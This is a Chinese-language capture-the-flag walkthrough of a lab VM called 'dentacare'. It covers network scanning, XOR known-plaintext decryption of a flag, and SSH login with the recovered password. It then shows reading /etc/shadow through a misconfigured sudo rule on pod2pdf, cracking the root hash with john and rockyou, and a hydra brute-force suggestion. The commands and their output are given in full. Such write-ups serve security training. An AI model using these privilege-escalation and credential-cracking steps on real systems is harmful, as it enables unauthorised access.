❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.154 08:00:27:35:ec:20 PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e0:e5:17 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.085 seconds (122.78 hosts/sec). 4 responded ❯ export ip=192.168.60.154 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- RustScan: Exploring the digital landscape, one IP at a time. [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.154:22 Open 192.168.60.154:80 Open 192.168.60.154:8000 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-24 09:16 CST Initiating ARP Ping Scan at 09:16 Scanning 192.168.60.154 [1 port] Completed ARP Ping Scan at 09:16, 0.12s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 09:16 Completed Parallel DNS resolution of 1 host. at 09:16, 13.00s elapsed DNS resolution of 1 IPs took 13.00s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0] Initiating SYN Stealth Scan at 09:16 Scanning 192.168.60.154 [3 ports] Discovered open port 22/tcp on 192.168.60.154 Discovered open port 80/tcp on 192.168.60.154 Discovered open port 8000/tcp on 192.168.60.154 Completed SYN Stealth Scan at 09:16, 0.03s elapsed (3 total ports) Nmap scan report for 192.168.60.154 Host is up, received arp-response (0.0012s latency). Scanned at 2025-04-24 09:16:55 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 8000/tcp open http-alt syn-ack ttl 64 MAC Address: 08:00:27:35:EC:20 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
def writeData(data): with open("crypted_potion.txt", "w") as f: f.write(data)
def readFlagFromFile(filename="potion.txt"): with open(filename, "rb") as f: return f.read()
if __name__ == "__main__": message = b"After years hidden in my lab, I've done it! A magical concoction " message += b"that eradicates cavities forever has been brewed! Prepare for a " message += b"revolution in dentistry, my fellow tooth warriors!"
# 已知的明文 message = b"After years hidden in my lab, I've done it! A magical concoction " message += b"that eradicates cavities forever has been brewed! Prepare for a " message += b"revolution in dentistry, my fellow tooth warriors!"
# 计算密钥流（需确保message长度 >= announcement长度） keystream = bytes([a ^ m for a, m inzip(announcement, message)])
# 解密flag（需确保keystream长度 >= potion长度） flag = bytes([p ^ k for p, k inzip(potion, keystream)])
print("Decrypted Flag:", flag.decode())
尝试执行一下
猜测EternalSmile2024!为用户密码
1 2
❯ python3 exp.py Decrypted Flag: In my latest dental alchemy experiments, I've merged the simple effectiveness of baking soda with the mystical energies of lunar dust. As a result, 'EternalSmile2024!' was born, a
Root提权
尝试ssh连接一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
❯ ssh dentist@$ip The authenticity of host '192.168.60.154 (192.168.60.154)' can't be established. ED25519 key fingerprint is SHA256:La9YyHs4GERVO8XTRRw0cLh6XcInXX35Ar9OiMsXwQk. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:17: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.154' (ED25519) to the list of known hosts. [email protected]'s password: Linux dentacare 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. dentist@dentacare:~$ cat user.txt ef2f3bab2950c28547e17d32f864f172
文件读取
发现用户存在sudo权限，可以执行/usr/bin/pod2pdf
1 2 3 4 5 6 7
dentist@dentacare:~$ sudo -l Matching Defaults entries for dentist on dentacare: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dentist may run the following commands on dentacare: (ALL : ALL) NOPASSWD: /usr/bin/pod2pdf
dentist@dentacare:/tmp$ sudo /usr/bin/pod2pdf @/etc/shadow >aaa.pdf Use of uninitialized value in multiplication (*) at /usr/bin/pod2pdf line 94, <OPT> line 24. Can't open root:$6$oVM8onySfQyyGID/$7TWQ22OZhZJGE.zsxTKtIj/uyEoUmxc.SCYaghAfbM6VUqQVcenX9DQCO2szyJp9iT5fHoGQVb4eeG7rYq9fQ.:19826:0:99999:7::: for reading: No such file or directory at /usr/bin/pod2pdf line 115.
尝试利用john爆破一下
1 2 3 4 5 6 7 8 9 10 11 12
❯ echo'root:$6$oVM8onySfQyyGID/$7TWQ22OZhZJGE.zsxTKtIj/uyEoUmxc.SCYaghAfbM6VUqQVcenX9DQCO2szyJp9iT5fHoGQVb4eeG7rYq9fQ.:19826:0:99999:7:::'>hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt Using default input encoding: UTF-8 Loaded 1 password hash (crypt, generic crypt(3) [?/64]) Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 6 for all loaded hashes Cost 2 (algorithm specific iterations) is 5000 for all loaded hashes Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status sabertooth (root) 1g 0:00:00:26 DONE (2025-04-24 16:39) 0.03831g/s 3832p/s 3832c/s 3832C/s schubert..rosnah Use the "--show" option to display all of the cracked passwords reliably Session completed.
直接切换用户，还改了root flag的文件名，作者就是不想让你包含到内容，哈哈哈🤣
1 2 3 4 5 6 7 8 9
dentist@dentacare:/tmp$ su root Password: root@dentacare:/tmp# id uid=0(root) gid=0(root) groups=0(root) root@dentacare:/tmp# cd /root/ root@dentacare:~# ls r00t.txt root@dentacare:~# cat r00t.txt 31b80e67e233ed342639f36b10ecb64d
BUG设计缺陷
hydra爆破
通过查看/etc/ssh/sshd_config，可以得知是允许root用户登录ssh的
所以可以尝试硬爆破，只不过比较慢而已，在rockyou中的十万多行
1 2 3 4 5 6 7 8 9 10
dentist@dentacare:/tmp$ cat /etc/ssh/sshd_config|grep -v '^#'|grep ' ' Include /etc/ssh/sshd_config.d/*.conf PermitRootLogin yes KbdInteractiveAuthentication no UsePAM yes X11Forwarding yes PrintMotd no AcceptEnv LANG LC_* ❯ grep -nr "^sabertooth$" /usr/share/wordlists/rockyou.txt 100008:sabertooth
